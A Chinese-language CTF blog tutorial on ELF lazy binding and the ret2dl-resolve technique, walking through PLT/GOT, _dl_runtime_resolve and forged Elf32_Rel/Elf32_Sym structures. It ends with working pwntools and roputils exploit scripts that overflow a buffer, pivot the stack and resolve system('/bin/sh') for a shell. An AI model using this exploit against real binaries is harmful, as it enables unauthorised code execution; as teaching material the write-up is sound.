CC BY 4.0 (除特别声明或转载文章外)
如果这篇博客帮助到你,我会很高兴~
深刻了解了计算机储存信息的方式:同类化,抽象化,依次循环这两个步骤(本次先记录32位)
延迟绑定
plt表
虽然名字叫表
,但是这里其实是一段指令,为了便于理解,我们将这些指令的功能分类后组织成了一段一段的,整体上叫做表
先给一个整体的直观的图(建议图和代码配合食用)
然后是详细的代码(每个表项16 个字节)
PLT[0] :(这一段也叫.plt.sec)
0x4004c0: ff 35 42 0b 20 00 push QWORD PTR [rip+offset1] /*push [GOT[1]]*/
0x4004c6: ff 25 44 0b 20 00 jmp QWORD PTR [rip+offset2] /* jmp [GOT[2]] */
0x4004cc: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
PLT[1]:(这一段也叫.plt)
0x4004d0: ff 25 42 0b 20 00 jmp QWORD PTR [rip+offset3] /* jmp GOT[3] */
0x4004d6: 68 00 00 00 00 push 0x0 /* push reloc_arg */
0x4004db: e9 e0 ff ff ff jmp 0x4004c0 <_init+0x20> /* jmp PLT[0] */
got表(.got.plt)
这个表就是正常的储存数据的表了,每一个表项存储的都是一个地址
- GOT[0] –> 此处存放的是 .dynamic 的地址;
- GOT[1] –> 此处存放的是 link_map 的地址;
- GOT[2] –> 此处存放的是 dl_runtime_resolve 函数的地址
- GOT[3] –> PLT[1]第一次跳过来的地址,存放的是与该表项要解析的函数相关的地址,由于延迟绑定的原因,开始未调用对应函数时该项存的是 PLT[1] 中第二条
指令的地址
,当进行完一次延迟绑定之后存放的才是所要解析的函数的真实地址
怎么拿到fun_name这个字符串呢?(_dl_runtime_resolve函数工作原理)
先简单说一下_dl_runtime_resolve(link_map_obj, reloc_index)函数的工作流程,_dl_runtime_reslove函数调用了_dl_fixup函数,然后_dl_fixup函数调用了_dl_lookup_symbol_x函数,最终这个函数去动态库里面找到了我们此刻进行延迟绑定的函数,并且把它的地址填写到了got.plt表项中
fun_name是个字符串,而我们要拿到这个字符串的首地址 ,目的是为执行_dl_lookup_symbol_x(fun_name)这个函数
这个fun_name
字符串放在.dynstr
(动态符号字符串表)里面,那么我们就需要找到.dynstr的首地址
,以及我们所需要的字符串距离.dynstr首地址的偏移
,我们主要利用的就是这个偏移
首地址怎么找
.dynamic
段里存储了动态链接器所需要的基本信息,其中就包含了.dynstr
的位置
root# readelf -d dll
Dynamic section at offset 0xf14 contains 24 entries:
Tag Type Name/Value
0x00000001 (NEEDED) Shared library: [libc.so.6]
0x0000000c (INIT) 0x804841c
(省略)
0x6ffffef5 (GNU_HASH) 0x80481ac
0x00000005 (STRTAB) 0x80482c8 .dynstr
0x00000006 (SYMTAB) 0x80481d8 .dynsym
0x0000000a (STRSZ) 150 (bytes)
0x0000000b (SYMENT) 16 (bytes)
0x00000015 (DEBUG) 0x0
0x00000003 (PLTGOT) 0x804a000
0x00000002 (PLTRELSZ) 88 (bytes)
0x00000014 (PLTREL) REL
0x00000017 (JMPREL) 0x80483c4 重定位表,rel.plt
(省略)
如果找到了.dynamic的地址,查看里面的内容即可找到.dynstr的位置,而ink_map
结构体中第三个内容存放的就是.dynamic的地址
struct link_map
{
ElfW(Addr) l_addr; /* 4bytes */
char *l_name; /* 4bytes */
ElfW(Dyn) *l_ld; /* 存的地址(4bytes),指向共享对象的动态段(dynamic section)*/
struct link_map *l_next, *l_prev; /* 指针,4bytes */
};
而执行_dl_runtime_resolve函数时的第一个参数就是link_map_obj,在执行延迟绑定的时候就会调用dll这个函数,此时就顺着找过去就能知道.dynstr的首地址了
总结就是dll函数的第一个参数可以找到.dynamic段
偏移怎么找
每个函数都有一个自己单独的Elf32_Sym结构用于找这个函数的偏移,比如:
LOAD:3E8 ; ELF Symbol Table
LOAD:3E8 00 00 00 00 00 00 00 00 00 00+Elf64_Sym <0>
LOAD:400 6A 00 00 00 12 00 00 00 00 00+Elf64_Sym <offset aFree - offset unk_628, 12h, 0, 0, offset dword_0, 0> ; "free"
LOAD:418 2F 00 00 00 12 00 00 00 00 00+Elf64_Sym <offset aLibcStartMain - offset unk_628, 12h, 0, 0, offset dword_0, 0> ; "__libc_start_main" /*随便找个elf文件拖到ida里面就可以验证了*/
Elf32_Sym这个结构体中第一个成员存储的就是我们要找fun_name的偏移
,
typedef struct
{
Elf32_Word st_name; /* 表示该成员在字符串表中的下标,也就是偏移,4bytes */
Elf32_Addr st_value; /* 将要解析的函数在libc中的偏移地址,4bytes */
Elf32_Word st_size; /* 符号长度,4bytes */
unsigned char st_info;
unsigned char st_other;
Elf32_Section st_shndx; /* 2bytes */
} Elf32_Sym;/* 16 字节,需要对齐 */
这个结构体又存储在.dynsym
(也就是上面的ELF Symbol Table)
.dynsym
的地址也在上面提到的.dynamic
段中存储了,那么怎么去.dynsym中找到我们要找的这个函数
的Elf32_Sym?
用上面.dynamic段获取到的rel.plt
的值加上dl_runtime_resolve的第二个参数reloc_index
,就是重定位表项Elf32_Rel
的指针
typedef struct {
Elf32_Addr r_offset; /* 重定位入口的偏移,程序将对got表进行重定位,所以got.plt的地就是“重定位入口 */
/* 就是说最后解析之后真实的地址会填写进r_offset所指向的地方 */
Elf32_Word r_info; /* 重定位入口的类型(低8位,1字节),将r_info>>8作为dynsym的下标 */
} Elf32_Rel;/* 两个四字节成员 */
LOAD:7B0 ; ELF RELA Relocation Table
LOAD:7B0 48 3D 00 00 00 00 00 00 08 00+dq 3D48h ; r_offset ; R_X86_64_RELATIVE +1300h
LOAD:7B0 00 00 00 00 00 00 00 13 00 00+dq 8 ; r_info
LOAD:7B0 00 00 00 00 dq 1300h ; r_addend
LOAD:7F8 D8 3F 00 00 00 00 00 00 06 00+Elf64_Rela <3FD8h, 200000006h, 0> ; R_X86_64_GLOB_DAT __libc_start_main
LOAD:810 E0 3F 00 00 00 00 00 00 06 00+Elf64_Rela <3FE0h, 300000006h, 0> ; R_X86_64_GLOB_DAT _ITM_deregisterTMCloneTable
而将它的第二个成员存储的内容算术右移八位,得到的数值就是我们要找的结构(对应函数的Elf32_Sym)距离.dynsym的偏移
再顺着理一遍
-
首先用link_map(就是_dl_runtime_resolvehand的第一个参数)访问.dynamic,分别取出.dynstr、.dynsym、.rel.plt的地址
-
.rel.plt+参数relic_index,求出当前函数的重定位表项Elf32_Rel的指针,记作rel
-
rel->r_info » 8 作为.dynsym的下标,求出当前函数的符号表项Elf32_Sym的指针,记作sym
-
.dynstr + sym->st_name得出符号名 字符串指针
-
在动态链接库查找这个函数的地址,并且把地址赋值给*rel->r_offset,即GOT表
-
最后ret到这个函数(符号)
漏洞所在
最后_dl_lookup_symbol_x这个函数并不在乎你给的字符串是否是你此刻在延迟绑定的函数,即使这个字符串是别的函数的名称
并且动态装载器并不会去检查重定位表的边界,即使你的_dl_runtime_resolve函数第二个参数是极大的,已经超过了rel,plt段的范围,装载器也依旧是认为这只是一个很大的rel.plt偏移,更关键的是它的参数都是直接从栈上取的,这样我们伪造栈,就可以伪造参数了
我们伪造一个很大的reloc_index
,让原本偏移到rel.plt段的reloc_index偏移到我们伪造的可控内存
,然后我们就可以伪造一系列的结构
最终让距离dynstr段首的偏移指向我们指定的字符串(也就是伪造了字符串)
上面这个方法也叫伪造 link_map(但是实际上是构造结构)
进行这个攻击只需要两个条件:足够大的空间让我们布置栈(可以迁栈也可以),partial relro(但是更明显的表示是没有输出函数)
攻击
ssize_t vuln()
{
char buf[40]; // [esp+0h] [ebp-28h] BYREF
return read(0, buf, 0x100u);
}
网上随便找的题,就一个read函数,没有system函数,没有参数,没有打印函数
思路布局
在利用漏洞前我们一定要明确我们每一步操作甚至每一个数据的目的是什么,不然就会被庞大的数据绕晕了,因为好几个数据都是由两个数据来决定的,所以我们控制其中一个就好了
- 伪造reloc_arg为index_offset,欺骗程序把
我们构造的数据
内容识别为Elf_rel - 伪造Elf_rel中的r_info,欺骗程序把
bss_stage+36
处的内容识别为Elf_sym - 伪造Elf_sym中的st_name,欺骗程序把
bss_stage+52
处的内容识别为str
bss_stage后面的数字都是经过调试测出来为了对齐而选择的,只要构造得不会让程序crush随便你选位置
这就是我们想要的栈布局(数据经过调试调整了一下)
另附一张正常的栈布局
数据构造
配合脚本讲具体一点,配合上面的图食用更佳
from pwn import *
from LibcSearcher import*
#context.log_level = 'debug'
context.terminal = ['tmux', 'sp', '-h']
file_name = "./pwn"
e=ELF(file_name)
url = ""
port = 0
io = process(file_name)
#准备数据-------------------------------------------------
plt0 = e.get_section_by_name('.plt').header.sh_addr
rel_plt = e.get_section_by_name('.rel.plt').header.sh_addr
dynsym = e.get_section_by_name('.dynsym').header.sh_addr
dynstr = e.get_section_by_name('.dynstr').header.sh_addr
offset=44
read_plt_addr=e.plt['read']
four_pop_ret=0x080485d8
leave_ret_addr=0x0804854A
base_addr=0x0804a800
#构造-----------------------------------------------------
reloc_index=base_addr+24-rel_plt # 这个是偏移,让程序在base+24的地方找Elf_rel
fake_sym_addr=base_addr+32 #先算我们要放置数据的地方,以fake_sym为基准(因为最终是去这个结构体里找str的偏移)
align=0x10-((fake_sym_addr-dynsym)&0xf) #以对齐的dynsym做参考来计算对齐差的字节数
fake_sym_addr+=align #最终的地址就是上面的0x804a82c,以c对齐
r_offset=e.got['read']
r_sym=(fake_sym_addr-dynsym)/0x10 #结构体寻址方式:dynsym+r_sym*0x10=Elf32_Sym
r_type=0x7 #0x7是重定位的一种类型,指的是导入函数,进入_dl_fixup函数里面,会检查这是不是0x7
r_info=(int(r_sym)<<8)+(r_type) #合并数据,前面进行了/运算不加int变浮点数了不让位运算
fake_rel_plt=p32(r_offset)+p32(r_info) # fake_Elf_rel
st_name=fake_sym_addr+0x10-dynstr #最终的system函数名称布置到了在fake_sym_addr(16字节)后面
st_info=12 #照着IDA里面的Elf32_Sym抄过来,本来是哪个函数就抄哪个函数
fake_sym=p32(st_name)+p32(0)+p32(0)+p32(st_info) #其他数据随便填
#每啥好说的,就是一般的rop,构造read(0,bss_stage,100)的同时完成栈迁移到bss_stage
payload1=b'a'*offset
payload1+=p32(read_plt_addr) #ret_addr
payload1+=p32(four_pop_ret) #read的ret_addr,因为是直接到plt表,所以省去了call的返回地址入栈
payload1+=p32(0) #ebx
payload1+=p32(base_addr) #esi
payload1+=p32(100) #edi
payload1+=p32(base_addr-4) #ebp
payload1+=p32(leave_ret_addr) #让esp迁移到新栈
io.sendline(payload1)
#放数据就行了----------------------------------------------
payload2=p32(plt0)
payload2+=p32(reloc_index)
payload2+=b'bbbb'
payload2+=p32(base_addr+80) #read的参数,这里改成system的参数
payload2+=b'bbbb' #system用不到的另外两个read的参数
payload2+=b'bbbb'
payload2+=fake_rel_plt
payload2+=b'a'*align #对齐
payload2+=fake_sym
payload2+=b'system\x00'
payload2+=b'a'*(80-len(payload2)) #补齐80字节
payload2+=b'/bin/sh\x00' #伪造参数字符串,位于bss_stage+80
payload2+=b'a'*(100-len(payload2))
io.sendline(payload2)
io.interactive()
妙妙工具Roputil,理解了上面的exp这个工具就好上手了
from roputils import *
from pwn import process
from pwn import gdb
from pwn import context
processName = 'pwn'
offset = 44
r = process('./' + processName)
context.log_level = 'debug'
rop = ROP('./' + processName)
bss_base = rop.section('.bss')
buf = rop.fill(offset)
buf += rop.call('read', 0, bss_base, 100)
buf += rop.dl_resolve_call(bss_base + 20, bss_base)
r.send(buf)
buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
buf += rop.dl_resolve_data(bss_base + 20, 'system')
buf += rop.fill(100, buf)
r.send(buf)
r.interactive()